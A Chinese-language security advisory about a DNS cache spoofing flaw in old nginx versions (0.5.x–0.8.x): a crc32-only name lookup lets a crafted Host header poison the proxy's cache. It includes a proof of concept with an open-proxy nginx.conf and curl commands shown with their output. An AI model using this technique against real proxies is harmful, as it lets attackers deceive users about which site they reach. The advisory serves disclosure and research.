发布日期:2013-03-25 11:23 来源:未知 标签: nginx 代理 缓存域 欺骗 漏洞

漏洞版本:
Igor Sysoev nginx 0.8.x
Igor Sysoev nginx 0.7.x
Igor Sysoev nginx 0.6.x
Igor Sysoev nginx 0.5.x

漏洞描述:BUGTRAQ  ID: 36438

nginx是多平台的HTTP服务器和邮件代理服务器。

nginx对解析过的域名维护一个内部的DNS缓存,但在搜素缓存时,nginx仅检查名称的crc32是否匹配以及短名称是长名称的前缀,但没有检查名称的长度是否相等。如果nginx配置为代理缓存的话,远程攻击者就可以通过DNS投毒攻击欺骗域名,诱骗用户相信所访问的域名为合法。<* 参考
http://marc.info/?l=nginx&m=125314374727296&w=2
*>
测试方法:@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
1.使用以下nginx.conf:
2.
3.    events {
4.      worker_connections  1024;
5.    }
6.
7.    http {
8.      resolver 4.2.2.4;
9.      server {
10.        listen 8080;11.        location / {
12.          proxy_pass http://$http_host$request_uri;
13.        }
14.      }
15.    }
16.
17.然后运行curl验证缓存中毒:
18.
19.    $ curl -H 'Host: www。google.com.9nyz309.crc32.dempsky.org'20.http://127.0.0.1:8080/
21.    <html>
22.    <body>
23.    Ho hum, nothing to see here, move along please.
24.    </body>
25.    </html>26.
27.    $ curl -H 'Host: www。google.com' http://127.0.0.1:8080/
28.    <html>
29.    <body>
30.    Oops, you shouldn't be asking me for http://www.google.com/!31.    </body>
32.    </html>

安全建议:厂商补丁:

Igor Sysoev
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://nginx.net/

 

相关评论

专题信息
    Nginx ("engine x") 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。